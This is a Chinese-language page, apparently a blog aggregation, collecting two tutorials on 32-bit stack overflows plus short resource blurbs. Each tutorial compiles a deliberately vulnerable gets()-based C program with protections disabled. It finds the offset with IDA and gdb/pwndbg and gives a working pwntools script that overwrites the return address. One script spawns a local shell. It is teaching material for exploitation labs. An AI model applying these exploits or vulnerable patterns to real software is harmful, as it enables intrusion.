    地址和返回地址之间生成一个特殊的值,这个值被称为“金丝雀”。这样一旦发生了栈溢出并覆盖了返回地址,这个值就会被改写,从而实现函数栈的越界检查。最后值得强调的是,尽可能写出安全可靠的代码,不给栈溢出提供写入越界的可能。

    (以上内容参考长亭科技)

    展开全文
  • 栈溢出crash小合集

    2018-11-15 10:06:18
    自己收集的一些栈溢出可执行程序,自己通过AFL fuzz出大量的crash,是做漏洞挖掘实验验证所需的。
  • 概述: 在程序开发中,我们可能会遇到一些莫名的死机或者程序错误的执行。如果是死机我们可以看coredump,但是有时候coredump可能是死在C库,我们看不出来啥。这时我们可以加打印,打印出相关变量...如果数组越界或
  • 在引起恶意攻击或病毒的系统漏洞中,缓冲区溢出几乎占了一半以上,而栈溢出攻击是其中主流的攻击方式。FuncFence系统可以有效地阻止栈溢出攻击。与其他相关技术相比,FuncFence可以提供效率更好的安全机制,可以避免...
  • 栈溢出攻击技术

    2018-03-13 15:16:13
    缓冲区溢出攻击技术-栈溢出攻击技术。网络安全相关。
  • 浅析栈溢出原理

    千次阅读 2020-10-20 20:55:49
    说明 本文主要讲解简单栈溢出的基本原理, 如果有什么不对的地方或者更好的建议, 还请大佬指正. 工具准备 linux系统 调试工具gdb gdb插件:pwndbg pwntools工具包 关于pwndbg插件和pwntools可以在github搜索并下载安装...

    说明

    本文主要讲解简单栈溢出的基本原理, 如果有什么不对的地方或者更好的建议, 还请大佬指正.

    工具准备

    1. linux系统
    2. 调试工具gdb
    3. gdb插件:pwndbg
    4. pwntools工具包
      关于pwndbg插件和pwntools可以在github搜索并下载安装,需要python环境

    函数栈帧与ESP、EBP寄存器

    C语言中,每个栈帧对应一个未运行完的函数. 栈帧中保存了函数的局部变量和返回地址, 即保存着函数的执行环境.
    ------摘自百度百科

    ESP寄存器保存着栈帧的栈顶地址, EBP寄存器保存着当前函数栈帧的栈底地址. (32位系统为ESP、EBP, 64位系统为RSP、RBP, 其它寄存器同理)

    call指令、leave指令与ret指令

    汇编语言中, 用call指令来实现函数的调用, 指令格式: call address;
    call指令效果相当于"push eip; jump address;". 不仅是跳转到指定函数地址执行指令, 在跳转之前还将当前IP寄存器中的值(下一条指令的地址)压入到了栈中. 从而可以在被调函数执行完之后, 继续执行当前函数.
    在被调函数执行完毕后, 程序要准备退出函数, 需要leave指令来释放函数栈帧, 并使EBP寄存器恢复旧值, 执行的操作相当于"mov esp,ebp; pop ebp; “, 之后ret指令将程序执行流返回上层函数. 有点c语言中return语句的意味. ret指令效果相当于"pop eip;”. 即将栈顶保存的值出栈, 作为下一条将要执行指令的地址赋值给IP寄存器.

    造成栈溢出的原因

    系统栈是由高地址往低地址增长的, 而数据的写入是按低地址到高地址的顺序写入. 如果程序没有对输入的字符数量做出限制, 就存在数据溢出当前栈帧以及覆盖返回地址的可能, 从而实现控制程序的执行流.

    溢出原理

    以32位可执行程序为例, 我们将通过调试分析下面这段简单的代码来理解栈溢出.

    #include<stdio.h>
    #include<unistd.h>
    
    void shell(){
        system("/bin/sh");
    }
    
    void vulnerable(){
        char buf[16];
        gets(buf);
    }
    
    int main(){
        vulnerable();
    }
    
    

    可以看到buf大小只有16字节,而gets()函数却可以无限输入,不检查字符上限, 直到遇到’\n’字符为止.
    我们将c文件编译链接成可执行文件:

    # 编译参数先不讲解,在后面讲解保护机制时解释
    # 只需知道-m32是将.c文件编译成32位程序即可
    gcc -m32 -fno-stack-protector -no-pie main.c -o stack
    

    我们用objdump 来反汇编一下生成的可执行文件(部分反汇编代码):

    08049172 <shell>:
     8049172:       55                      push   ebp
     8049173:       89 e5                   mov    ebp,esp
     8049175:       83 ec 08                sub    esp,0x8
     8049178:       83 ec 0c                sub    esp,0xc
     804917b:       68 08 a0 04 08          push   0x804a008
     8049180:       e8 bb fe ff ff          call   8049040 <system@plt>
     8049185:       83 c4 10                add    esp,0x10
     8049188:       90                      nop
     8049189:       c9                      leave  
     804918a:       c3                      ret    
    
    0804918b <vulnerable>:
     804918b:       55                      push   ebp
     804918c:       89 e5                   mov    ebp,esp
     804918e:       83 ec 18                sub    esp,0x18
     8049191:       83 ec 0c                sub    esp,0xc
     8049194:       8d 45 e8                lea    eax,[ebp-0x18]
     8049197:       50                      push   eax
     8049198:       e8 93 fe ff ff          call   8049030 <gets@plt>
     804919d:       83 c4 10                add    esp,0x10
     80491a0:       90                      nop
     80491a1:       c9                      leave  
     80491a2:       c3                      ret    
    
    080491a3 <main>:
     80491a3:       55                      push   ebp
     80491a4:       89 e5                   mov    ebp,esp
     80491a6:       83 e4 f0                and    esp,0xfffffff0
     80491a9:       e8 dd ff ff ff          call   804918b <vulnerable>
     80491ae:       b8 00 00 00 00          mov    eax,0x0
     80491b3:       c9                      leave  
     80491b4:       c3                      ret    
     80491b5:       66 90                   xchg   ax,ax
     80491b7:       66 90                   xchg   ax,ax
     80491b9:       66 90                   xchg   ax,ax
     80491bb:       66 90                   xchg   ax,ax
     80491bd:       66 90                   xchg   ax,ax
     80491bf:       90                      nop
    

    上图可以看到, 在执行call之前,系统会将参数入栈(32位程序如此), 执行call指令进入函数之后, 前两条汇编指令都相同:

    55				push	ebp
    89 e5			mov		ebp,esp
    

    这两条指令的作用是将上层函数栈帧的栈底入栈,同时将栈顶作为本函数栈帧的栈底.
    函数调用时栈的变化情况大致如下所示:
    执行call指令时首先esp执行-4操作, 栈顶上移, 然后将call指令的下条指令地址存入栈顶位置, 从上图汇编代码可以看出是将地址0x80491ae入栈, 栈向低地址方向增长.
    执行call指令时,将main函数中下条指令的地址入栈
    进入vulnerable函数之后,分别执行前两条指令构造新栈帧:
    将当前栈帧的ebp入栈, 然后将ebp移动到栈顶位置, 此时vulnerable函数的栈帧构造完毕,当有临时变量时, esp指针执行sub操作,指针上移, 为临时变量开辟栈空间.
    构造新栈帧
    函数功能执行完毕,准备返回时, 需要将栈空间释放, 即销毁当前栈帧, 在上面汇编代码部分可以看到, 用户定义的函数末尾通常会有两条指令(有时候没有leave指令):

    c9			leave
    c3			ret
    

    执行leave指令, 首先将esp移动到栈帧的栈底ebp的位置, 之后执行出栈操作, 将栈顶赋值给ebp, 此时ebp恢复旧值, 因为出栈操作, esp指针下移. (出栈操作并不会清除栈内数据, 只是将esp的值修改了而已)
    执行leave指令
    之后执行ret指令, 将栈顶赋值给IP寄存器 , esp下移, 程序继续. 所谓栈溢出就是想办法将上层函数的栈帧中的"返回地址"给覆盖掉, 以达到改变程序执行流的效果. 在本例中, 就是往buf中一直写入数据, 直到将main栈帧中"返回地址"给覆盖掉. 当程序执行完vulnerable函数后, 将返回到指定地址继续执行指令.
    覆盖返回地址
    接下来我们用动态调试工具gdb和pwndbg来调试此程序:
    常用的gdb/pwndbg命令如下:

    • b function_name —> 在函数处下断点
    • b *address —> 在地址address处下断点
    • info b —> 查看断点信息
    • r —> 运行程序
    • n —> 单步步过
    • s —> 单步步入,函数跟踪
    • c —> 继续执行
    • fin —> 跳出,执行到函数返回处
    • stack n —> 查看栈内n个存储单元的数据

    运行gdb, 并在main函数处打上断点, 运行程序:
    可以看到最上面是一些寄存器的状态, 往下是程序执行处的反汇编代码, 小箭头指向将要执行指令, 接着是部分栈空间的状态, 包括ebp和esp的位置信息, 最下面是函数调用顺序, 可以看到程序执行时, main函数并不是第一个被调用的函数, 是由__libc_start_main调用.

    Breakpoint 1, 0x080491a6 in main ()
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
     EAX  0xf7fa7dc8 (environ) —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
     EBX  0x0
     ECX  0xcaf93e6a
     EDX  0xffffbc44 ◂— 0x0
     EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
     ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
     EBP  0xffffbc18 ◂— 0x0
     ESP  0xffffbc18 ◂— 0x0
     EIP  0x80491a6 (main+3) ◂— 0xe8f0e483
    ───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
     ► 0x80491a6 <main+3>     and    esp, 0xfffffff0
       0x80491a9 <main+6>     call   vulnerable <vulnerable>
     
       0x80491ae <main+11>    mov    eax, 0
       0x80491b3 <main+16>    leave  
       0x80491b4 <main+17>    ret    
     
       0x80491b5              nop    
       0x80491b7              nop    
       0x80491b9              nop    
       0x80491bb              nop    
       0x80491bd              nop    
       0x80491bf              nop    
    ───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
    00:0000│ ebp esp  0xffffbc18 ◂— 0x0
    01:00040xffffbc1c —▸ 0xf7de6b41 (__libc_start_main+241) ◂— add    esp, 0x10
    02:00080xffffbc20 ◂— 0x1
    03:000c│          0xffffbc24 —▸ 0xffffbcb4 —▸ 0xffffbe74 ◂— '/home/darkfox/Desktop/code_project/c/stack'
    04:00100xffffbc28 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
    05:00140xffffbc2c —▸ 0xffffbc44 ◂— 0x0
    06:00180xffffbc30 ◂— 0x1
    07:001c│          0xffffbc34 ◂— 0x0
    ─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
     ► f 0  80491a6 main+3
       f 1 f7de6b41 __libc_start_main+241
    ────────────────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> 
    

    我们接着执行, 直到往buf输入数据为止:

     0x804918c <vulnerable+1>     mov    ebp, esp
       0x804918e <vulnerable+3>     sub    esp, 0x18
       0x8049191 <vulnerable+6>     sub    esp, 0xc
       0x8049194 <vulnerable+9>     lea    eax, [ebp - 0x18]
       0x8049197 <vulnerable+12>    push   eax
     ► 0x8049198 <vulnerable+13>    call   gets@plt <gets@plt>
            arg[0]: 0xffffbbf0 ◂— 0x1
            arg[1]: 0x40000
            arg[2]: 0x7
            arg[3]: 0x8049203 (__libc_csu_init+67) ◂— 0x8301c783
     
       0x804919d <vulnerable+18>    add    esp, 0x10
       0x80491a0 <vulnerable+21>    nop    
       0x80491a1 <vulnerable+22>    leave  
       0x80491a2 <vulnerable+23>    ret    
     
       0x80491a3 <main>             push   ebp
    

    我们输入’aaaa’, 并查看栈数据, 可以看到我们输入的数据存储在地址0xffffbbf0处, 我们需要覆盖的数据在地址0xffffbc0c处, 中间相隔了0x1c字节的数据. 另外我们需要程序返回shell函数处, 运行shell函数, 获得系统控制权, 此时我们可以将shell函数的地址0x8049172覆盖原来的地址数据.然后就大功告成.

    ────────────────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> stack 20
    00:0000│ esp  0xffffbbe0 —▸ 0xffffbbf0 ◂— 'aaaa'
    01:00040xffffbbe4 ◂— 0x40000
    02:00080xffffbbe8 ◂— 0x7
    03:000c│      0xffffbbec —▸ 0x8049203 (__libc_csu_init+67) ◂— 0x8301c783
    04:0010│ eax  0xffffbbf0 ◂— 'aaaa'
    05:00140xffffbbf4 —▸ 0xffffbc00 —▸ 0xf7fe4520 (_dl_fini) ◂— push   ebp
    06:00180xffffbbf8 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
    07:001c│      0xffffbbfc —▸ 0x80491db (__libc_csu_init+27) ◂— 0xff10b38d
    08:00200xffffbc00 —▸ 0xf7fe4520 (_dl_fini) ◂— push   ebp
    09:00240xffffbc04 ◂— 0x0
    0a:0028│ ebp  0xffffbc08 —▸ 0xffffbc18 ◂— 0x0
    0b:002c│      0xffffbc0c —▸ 0x80491ae (main+11) ◂— 0xb8
    0c:00300xffffbc10 —▸ 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
    ...0e:00380xffffbc18 ◂— 0x0
    0f:003c│      0xffffbc1c —▸ 0xf7de6b41 (__libc_start_main+241) ◂— add    esp, 0x10
    10:00400xffffbc20 ◂— 0x1
    11:00440xffffbc24 —▸ 0xffffbcb4 —▸ 0xffffbe74 ◂— '/home/darkfox/Desktop/code_project/c/stack'
    12:00480xffffbc28 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
    13:004c│      0xffffbc2c —▸ 0xffffbc44 ◂— 0x0
    
    

    用python编写漏洞利用脚本

    #!/usr/bin/python3		#指明脚本解释程序
    
    # 导入pwntools工具
    from pwn import *
    
    # 运行stack程序
    io = process('./stack')
    
    # shell函数返回地址
    shell = 0x8049172
    
    # 构造payload,先填充0x1c字节的垃圾数据,再覆盖返回地址
    # pack()将整型数值打包成32位字节码,也可用 p32(shell) 代替
    payload = b'a' * 0x1c + pack(shell,32)
    
    #如果是python2, payload构造方式如下
    #payload = 'a' * 0x1c + p32(shell)
    
    # 向程序发送数据
    io.sendline(payload)
    
    #交互模式
    io.interactive()
    

    运行脚本后获得系统控制权限,执行ls命令,果然可以查看当前目录的文件

    darkfox@darkfox-PC:~/Desktop/code_project/c$ python3 io.py 
    [+] Starting local process './stack': pid 15404
    [*] Switching to interactive mode
    $ ls
    how2heap  io.py  main.c  stack
    $  
    

    那真对这种简单的栈溢出, 有什么防止的办法呢? 请查阅栈保护措施 canary机制、栈不可执行(NX)、地址随机化(PIE、ASLR)机制。

    展开全文
  • 漏洞挖掘实验类教学教程,通过调试一个有漏洞的程序,理解栈溢出的成因并学会利用栈溢出漏洞的方法,漏洞挖掘实验类教学教程,通过调试一个有漏洞的程序,理解栈溢出的成因并学会利用栈溢出漏洞的方法
  • 目前大部分的缓冲区溢出的攻击都是...作者针对Windows操作系统,对栈溢出的原理进行了相关分析,并通过实例完成了一个溢出的攻击验证.实验结果表明,针对有漏洞的代码可以进行漏洞攻击,并给出了防止漏洞攻击的几点建议.
  • 栈溢出基础

    2021-01-17 16:14:06
    基础知识什么是缓冲区溢出在深入探讨技术之前, 让我们先了解一下缓冲区溢出的实际内容.想象一个非常简单的程序, 要求你输入你的用户名, 然后返回到它在做什么.从视觉上看, 如下所示注意到括号之间的空格是输入...

    一. 基础知识什么是缓冲区溢出在深入探讨技术之前, 让我们先了解一下缓冲区溢出的实际内容.想象一个非常简单的程序, 要求你输入你的用户名, 然后返回到它在做什么.从视觉上看, 如下所示注意到括号之间的空格是输入用户名的预期空间.那个空间是我们的缓冲.处理用户名后, 返回地址将告知程序需要执行的下一个指令.现在, 如果我们不仅输入用户名, 而且添加其他数据以溢出此缓冲区空间, 会发生什么情况?

    不仅如此, 我们键入的是一些 shellcode(一系列计算机指令, 通过示例给我们提供远程 shell), 一些虚拟数据和该 shellcode 的地址, 而不只是键入名字, 而是键入一些 shellcode.程序将遵循我们覆盖的 shellcode 地址而不是正常的返回地址, 而是执行我们的 shellcode, 而不是返回到预期的指令.这是缓冲区溢出攻击.函数调用栈在内存中从高地址向低地址生长

    函数状态主要涉及三个寄存器EBP, ESP, EIPEBP : 用来存储当前函数状态的基地址, 在函数运行时不变, 可以用来索引确定函数参数或局部变量的位置

    ESP : 用来存储函数调用栈的栈顶地址, 在压栈和退栈时发生变化

    EIP : 用来存储即将执行的程序指令的地址, cpu 依照 EIP 的存储内容读取指令并执行, EIP 随之指向相邻的下一条指令

    二进制, 十进制, 十六进制表示二进制 : 101010110B

    十进制 : 100

    十六进制 : 4E20H, 4e20h, 0x4E20, 0x4e20

    小端字节序, 大端字节序举例来说, 数值0x2211使用两个字节储存:高位字节是0x22, 低位字节是0x11小端字节序:低位字节在前, 高位字节在后, 即以0x1122形式储存

    大端字节序:高位字节在前, 低位字节在后, 即以0x2211形式储存, 这是人类读写数值的方法一般操作系统都是小端, 而通讯协议是大端的

    二. 栈溢出基本原理栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变

    发生栈溢出的基本前提是程序必须向栈上写入数据

    写入的数据大小没有被良好地控制

    当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击

    三. 栈溢出 Demo 讲解demo 代码

    #include #include

    void pwn()

    {

    puts("Stack Overflow!");

    }

    void vulnerable()

    {

    char s[12];

    gets(s);

    puts(s);

    return;

    }

    int main(int argc, char **argv)

    {

    vulnerable();

    return 0;

    }代码解释函数pwn()正常执行代码时, 该函数不会被调用, 在之后的内容中我们会通过栈溢出调用该函数

    功能为打印Stack Overflow!

    函数vulnerable()正常执行代码时, 函数被调用

    功能为获取用户输入然后打印编译该c文件 : gcc -m32 -fno-stack-protector stack_test.c -o stack_testgcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie

    2. 使用IDA进行静态汇编代码分析使用IDA打开该ELF文件(即生成的stack_test文件)

    F5, 点击左侧的vulnerable()函数, 查看伪代码

    int vulnerable()

    {

    char s; // [esp+4h] [ebp-14h]

    gets(&s);

    return puts(&s);

    }由此得到变量s的地址 = EBP的地址 - 14h

    由于C语言标准库的 gets() 函数并未限制输入数据长度的漏洞, 从而可以实现了栈溢出, 而其参数s距离EBP的偏移地址为14h点击查看我们需要溢出至调用的目标函数pwn(),记下它的地址0x0804843B

    3. 计算偏移地址目的: 将被调用函数的返回地址, 通过改变可控变量的值, 替换为我们指定的地址通过指定变量s的值, 使得被调用函数的返回地址, 变为pwn函数的地址

    被调用函数的返回地址 = EBP的地址 + 4h4h为EBP大小

    x86-32, 所有主寄存器(包括EBP)的大小都是32位,在堆栈上占4个字节

    vulnerable函数的返回地址 = EBP的地址 + 4h = (变量s的地址 + 14h) + 4h = 变量s的地址 + 18h通过IDA可知 EBP的地址 = 变量s的地址 + 14h

    所以只需要指定s变量为任意18h个字符和pwn函数地址组成的字符串即可

    四. 编写payload在下面payload中,前面14h个字节码用“a”覆盖,将EBP覆盖为“aaaa”,最后插入小端存储形式的pwn()函数地址

    from pwn import process, flat, p32

    sh = process("./stack_test")

    pwn_function_address = 0x0804843B

    payload = flat(['a' * 0x18, p32(pwn_function_address)])

    sh.sendline(payload)

    print (sh.recvall())from pwn import *python2: pip install pwn

    python3: pip3 install git+https://github.com/arthaud/python3-pwntools.git

    sh = process("./stack_test")开启进程执行stack_test

    pwn_function_address = 0x0804843Bpwn函数的地址

    payload = flat(['a' * 0x18, p32(pwn_function_address)])['a' * 0x18, p32(pwn_function_address)]0x14 == 20

    p32: 将传入的数转为小端字节序返回

    返回结果: ['aaaaaaaaaaaaaaaaaaaaaaaa', b'\x3B\x84\x04\x08']

    flat(['aaaaaaaaaaaaaaaaaaaaaaaa', b'\x3B\x84\x04\x08'])flat: 将传入参数合并为一个字符串

    返回结果: b'aaaaaaaaaaaaaaaaaaaaaaaa\x3B\x84\x04\x08'

    sh.sendline(payload)向进程发送数据

    print (sh.recvall())打印进程返回的数据

    效果图

    五. GDB计算偏移地址其实由IDA分析可以知道, 参数s距离EBP的偏移地址为14h. 但是有时候并不能完全相信IDA计算出来的偏移, 最为准确的是用GDB打断点调试出来, 下面介绍两种GDB方法.GDB 配置安装pedagit clone https://github.com/longld/peda.git ~/peda

    echo "source ~/peda/peda.py" >> ~/.gdbinit

    GDB 基础b: 添加断点

    r: 执行程序

    c: 继续执行

    info break: 查看断点

    del 1: 删除第一个断点

    1. GDB断点调试获取执行gdb stack_testb vulnerable

    r

    效果图b *0x8048466找到调用gets后的地址为0x8048466, 在此处打断点, 查看调用gets后的状况

    c

    输入任意值

    效果图由上步可以得到变量地址为0xffffd664, EBP地址为0xffffd6780xffffd664 = 0xffffd678 - 0x14

    2. 使用GDB pattern字符串溢出计算偏移量执行gdb stack_testpattern_create 200复制生成的字符串

    r

    粘贴

    效果图复制EIP的地址

    pattern_offset 0x44414128返回信息 1145127208 found at offset: 24

    24 = 18h = vulnerable函数的返回地址 - 变量s的地址

    六. 小结总体而言主要分为两个步骤, 先是找到危险函数确定存在栈溢出漏洞, 然后就是通过调试分析计算出栈溢出攻击利用需要溢出的偏移量, 最后就通过覆盖地址的方法来直接或者间接地控制程序执行流程

    1. 寻找危险函数通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下输入gets,直接读取一行,忽略\x00scanf

    vscanf

    输出sprintf

    字符串strcpy,字符串复制,遇到\x00停止

    strcat,字符串拼接,遇到\x00停止

    bcopy

    2. 确定填充长度计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移一般变量会有以下几种索引模式

    1. 相对于栈基地址的的索引, 可以直接通过查看 EBP 相对偏移获得

    2. 相对应栈顶指针的索引, 一般需要进行调试, 之后还是会转换到第一种类型

    3. 直接地址索引, 就相当于直接给定了地址一般来说,我们会有如下的覆盖需求

    1. 覆盖函数返回地址,这时候就是直接看 EBP即可

    2. 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了

    3. 覆盖 bss 段某个变量的内容

    4. 根据现实执行情况,覆盖特定的变量或地址的内容

    展开全文
  • V5-306_FreeRTOS实验_任务栈溢出检测方式二 (模拟栈溢出
  • 栈溢出攻击

    2021-02-12 07:14:44
    我们先来看下面的一个例子: ~~~ #include int main(){ char str[10] = {0};... 栈溢出一般不会产生严重的后果,但是如果有用户精心构造栈溢出,让返回地址指向恶意代码,那就比较危险了,这就是常说的栈溢出攻击
  • 栈溢出漏洞

    2017-03-30 18:32:11
    湖湘杯2016网络安全技能大赛pwnme
  • 栈溢出原理

    2021-08-06 23:31:31
    文章目录栈溢出原理前言:栈一、栈溢出原理二、栈保护技术三、常发生栈溢出的危险函数四、可利用的栈溢出覆盖位置总结 前言:栈 栈是一种LIFO的数据结构。 应用程序有一到多个用户态栈。 栈自底向上增长,由指令...
  • 递归调用栈溢出

    2021-06-06 17:23:29
    1. 嵌套深度上会存在一定风险,递归层数过多,不断压栈,可能会引起栈溢出的问题; 2. 代码可读性,不太容易被后面维护的人理解; 但是,凡事总有例外。 比如要有一种需求场景,需要遍历一个目录下的所有文件,...
  • 简单的栈溢出_hello_elf-附件资源
  • 如何解决栈溢出

    千次阅读 2021-03-13 15:47:06
    1,什么是栈溢出?因为栈一般默认为1-2m,一旦出现死循环或者是大量的递归调用,在不断的压栈过程中,造成栈容量超过1m而导致溢出。2,解决方案:方法一:用栈把递归转换成非递归通常,一个函数在调用另一个函数之前,...
  • 栈溢出和堆溢出

    2021-06-07 21:19:59
    1. 栈溢出StackOverflowError 栈是线程私有的,生命周期与线程相同,每个方法在执行的时候都会创建一个栈帧,用来存储局部变量表,操作数栈,动态链接,方法出口等信息。 栈溢出:方法执行时创建的栈帧个数超过了栈...
  • 怎样解决栈溢出

    2021-03-13 15:46:44
    1,什么是栈溢出?由于栈一般默觉得1-2m,一旦出现死循环或者是大量的递归调用,在不断的压栈过程中,造成栈容量超过1m而导致溢出。2,解决方式:方法一:用栈把递归转换成非递归通常,一个函数在调用还有一个函数...
  • Linux 内核栈溢出分析

    2021-05-11 04:59:33
    本文分析内核栈溢出。Linux 系统进程运行分为 用户态 和 内核态,进入内核态之后使用的是内核栈,作为基本的安全机制,用户程序不能直接访问内核栈,所以尽管内核栈属于进程的地址空间,但与用户栈是分开的。内核栈...
  • 栈溢出 (1).pdf

    2019-09-30 09:29:32
    栈溢出是pwn的根本也是萌新入坑最好的方式,里面有栈溢出的根本原理等希望喜欢
  • 请小心栈溢出

    千次阅读 2019-05-28 21:32:04
    写这篇文章本意是帮助萌新们对栈溢出能够有一个较为直观的理解,可能废话有点多,让各位大佬见笑了,还望不喜勿喷。 阅读本文前,建议掌握一定汇编基础 接下来我们进入正题。 或许你在平常时有在老师、朋友、...
  • 栈溢出原理及解题练习

    千次阅读 2020-04-15 12:54:14
    栈溢出学习 地址CTF-WIKI 2.完成栈溢出题目 要求:解题步骤写在博客 解题准备: 按题设要求,查看CTF-Wiki相关内容,云里雾里,没有基础知识,看了好久都看不懂: 基本栈介绍: 栈是一种典型的先进后出( First in ...
  • 本节主要讲解了linux 32位系统栈溢出的利用原理。以一个实例,详细描述了linux栈溢出的原理和应用。 1.栈溢出背景知识 栈 栈又称堆栈,由编译器自动分配释放,行为类似数据结构中的栈(先进后出)。堆栈主要有三个...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 155,904
精华内容 62,361
关键字:

栈溢出

友情链接: bin_audiorecord.zip